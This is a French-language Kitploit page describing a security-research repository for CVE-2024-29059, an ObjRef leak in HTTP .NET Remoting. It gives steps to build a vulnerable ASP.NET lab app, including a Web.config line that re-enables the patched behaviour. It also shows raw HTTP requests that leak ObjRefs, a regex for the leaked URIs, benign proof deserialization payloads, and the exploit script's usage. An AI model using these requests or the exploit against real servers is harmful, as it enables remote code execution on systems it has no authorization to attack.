Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HttpRemotingObjRefLeak — Ressources supplémentaires pour fuiter et exploiter les ObjRefs via HTTP .NET Remoting (CVE-2024-29059) | Kitploit
Outils/GitHubGitHub/codewhitesec/httpremotingobjrefleak
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubcodewhitesec/httpremotingobjrefleak

HttpRemotingObjRefLeak

Ressources supplémentaires pour fuiter et exploiter les ObjRefs via HTTP .NET Remoting (CVE-2024-29059)

Voir le dépôtSite web
921415il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Fuite et exploitation des ObjRefs via HTTP .NET Remoting (CVE-2024-29059)

Ce dépôt fournit des détails et ressources supplémentaires sur le billet de blog CODE WHITE du même nom Fuites d'ObjRef pour exploiter HTTP .NET Remoting :

  1. Création d'une application web ASP.NET vulnérable
  2. Détection des fuites d'ObjRef
  3. Exemples de charges utiles de désérialisation fonctionnant sous les restrictions TypeFilterLevel.Low
  4. Script d'exploit pour délivrer les charges utiles

1. Création d'une application web ASP.NET vulnérable

Ce qui suit est basé sur Configurer Application Insights pour votre site web ASP.NET par Microsoft et décrit comment créer une application web ASP.NET vulnérable avec Visual Studio 2019 (nécessaire pour cibler .NET Framework 4.5.2, vous pouvez toujours le télécharger à https://aka.ms/vs/16/release/vs_community.exe) et Microsoft Application Insights :

  1. Ouvrez Visual Studio 2019.
  2. Sélectionnez Fichier > Nouveau > Projet.
  3. Sélectionnez Application Web ASP.NET (.NET Framework) C#, puis Suivant.
  4. Sélectionnez .NET Framework 4.5.2, puis Créer.
  5. Sélectionnez Vide, puis Créer.
  6. Sélectionnez Projet > Ajouter une télémétrie Application Insights.
  7. Sélectionnez SDK Application Insights (local), puis Suivant.
  8. Cochez Packages NuGet, puis cliquez sur Terminer.

Si les mises à jour .NET Framework de janvier 2024 sont installées, ouvrez le fichier Web.config et ajoutez ce qui suit sous /configuration/appSettings pour réactiver le comportement vulnérable :

root@kitploit:~
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

Vous pouvez ensuite exécuter l'application web via Déboguer > Démarrer sans débogage ou en appuyant sur Ctrl+F5.

2. Détection des fuites d'ObjRef

Vous pouvez utiliser les requêtes suivantes pour fuiter les ObjRefs des instances MarshalByRefObject stockées dans le LogicalCallContext :

  • BinaryServerFormatterSink :

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: application/octet-stream
    
  • SoapServerFormatterSink :

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: text/xml
    

Les URI ObjRef fuites peuvent ensuite être trouvées à l'aide de l'expression régulière suivante :

root@kitploit:~
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. Exemples de charges utiles de désérialisation

Nous avons créé deux charges utiles de désérialisation simples basées sur le gadget TextFormattingRunProperties de YSoSerial.Net avec des charges utiles XAML personnalisées qui fonctionnent sous les restrictions causées par TypeFilterLevel.Low pour effectuer les actions suivantes :

  • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
  • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

Les en-têtes HTTP peuvent être observés dans la réponse du serveur à la requête HTTP .NET Remoting.

4. Script d'exploit

Le script RemoteApplicationMetadata.py fournit un moyen de fuiter un ObjRef existant puis de l'utiliser dans une requête ultérieure pour délivrer une charge utile donnée :

root@kitploit:~
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                   target URL (without `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help            show this help message and exit
  -c, --chunked         use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding        apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
  -v, --verbose         print verbose info

Exemple :

root@kitploit:~
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
Télécharger l’outil